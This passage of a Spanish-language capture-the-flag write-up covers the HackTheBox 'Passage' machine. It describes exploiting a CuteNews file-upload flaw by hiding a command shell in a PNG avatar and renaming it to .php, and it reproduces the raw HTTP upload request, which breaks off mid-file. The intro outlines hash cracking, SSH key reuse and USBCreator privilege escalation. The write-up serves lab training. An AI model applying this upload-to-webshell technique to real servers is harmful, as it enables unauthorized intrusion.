Write-Up Máquina Passage HTB
introducción
La máquina Passage es una máquina de dificultad media en la cual se explota una aplicación web llamada CuteNews para obetener una shell con el usuario www-data. Con esa shell obtendremos acceso a los ficheros del servidor, en los cuales encontraremos las passwords hasheadas de los usarios del sistema. Solo uno de los dos hashes nos dará una contraseña en plano. Una vez hayamos iniciado sesión en la máquina con el primer usuario, tendremos que obtener una clave RSA la cual se comparte entre los dos usuarios, por lo que podremos tener acceso ssh a la máquina. Para la escalada de privilegios, vamos a explotar una herramienta de sistema llamada USBCreator.
Escaneo
Esta máquina tiene 2 puertos abiertos:
- Puerto 22: SSH
- Puerto 80: HTTP (Apache 2.4.18)
Puerto 22
En el puerto 22 nos encontramos con un servidor ssh. En un principio no tenemos credenciales y no sería vulnerable.
Puerto 80
En el puerto 80 nos encontramos con una web en la cual se hace referencia a varias tecnologías que luego veremos.
Enumeración
Si accedemos a la web, nos encontramos con un feed de noticias en el que se hace referencia a una tecnologia implementada recientemente. Esta tecnología es fail2ban.
Si bajamos hasta el final de la página se nos muestra el el CMS sobre el que corre la web que en este caso es CuteNews.
Una vez tenemos esta información, vamos a proceder a buscar algun tipo de punto donde podamos interactuar con el servidor teniendo en cuenta que no podremos hacer ningun tipo de fuzzing ya que el sistema de fail2ban nos bloquea la IP.
Si miramos el codigo fuente de la página vemos un directorio interesante http://10.10.10.206/CuteNews. Si accedemos vemos una página de login en la cual tenemos un boton para registrar una cuenta en la plataforma.
Una vez sabemos esto, vamos a buscar exploits para CuteNews.
CuteNews 2.1.2 - Authenticated Arbitrary File Upload
En este exploit se explica como a traves de la foto de avatar de usuario podemos obtener una injeccion de comandos.
Explotacón
Para la explotación, vamos lo primero a crear un usuario en la plataforma.
una vez le demos a register, accederemos a la pagina principal del panel de gestion, en el que podremos gestionar opciones de nuestro usuario como el avatar.
Si nos vamos a personal options, nos aparecera la opción de subir nuestra imagen de avatar.
Es aqui donde tenemos la vulnerabilidad, así que vamos a preparar nuestro payload para subirlo y poder ejecutar comandos.
Con esos dos comandos lo que hacemos es primero generar un fichero png vacio con la utilidad convert de imagemagick y le metemos en un comentario la interfaz de comandos con la herramienta exiftool.
Una vez generada, la subiremos como nuestro avatar a la máquina. Para subirlo, simplemente buscamos el fichero donde lo hayamos. Todo esto tendremos que hacerlo con burpsuite activo ya que tendremos que modificar la peticion de subida del fichero cambiando la extension de .png a .php.
- Petición Original:
POST /CuteNews/index.php HTTP/1.1
Host: 10.10.10.206
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------18797126863564466322517621856
Content-Length: 1701
Origin: http://10.10.10.206
Connection: close
Referer: http://10.10.10.206/CuteNews/index.php?mod=main&opt=personal
Cookie: CUTENEWS_SESSION=58te60j4nv945lcderikrvck64
Upgrade-Insecure-Requests: 1
DNT: 1
Sec-GPC: 1
-----------------------------18797126863564466322517621856
Content-Disposition: form-data; name="mod"
main
-----------------------------18797126863564466322517621856
Content-Disposition: form-data; name="opt"
personal
-----------------------------18797126863564466322517621856
Content-Disposition: form-data; name="__signature_key"
0ad6035b4677dd3ef8e125b730e91508-fr3d1s4nm4r
-----------------------------18797126863564466322517621856
Content-Disposition: form-data; name="__signature_dsi"
ed61e54fb62549cb18ba5985876659a4
-----------------------------18797126863564466322517621856
Content-Disposition: form-data; name="editpassword"
-----------------------------18797126863564466322517621856
Content-Disposition: form-data; name="confirmpassword"
-----------------------------18797126863564466322517621856
Content-Disposition: form-data; name="editnickname"
fr3d1s4nm4r
-----------------------------18797126863564466322517621856
Content-Disposition: form-data; name="avatar_file"; filename="shell.png"
Content-Type: image/png
PNG
IHDR [GY gAMA ±üa cHRM z&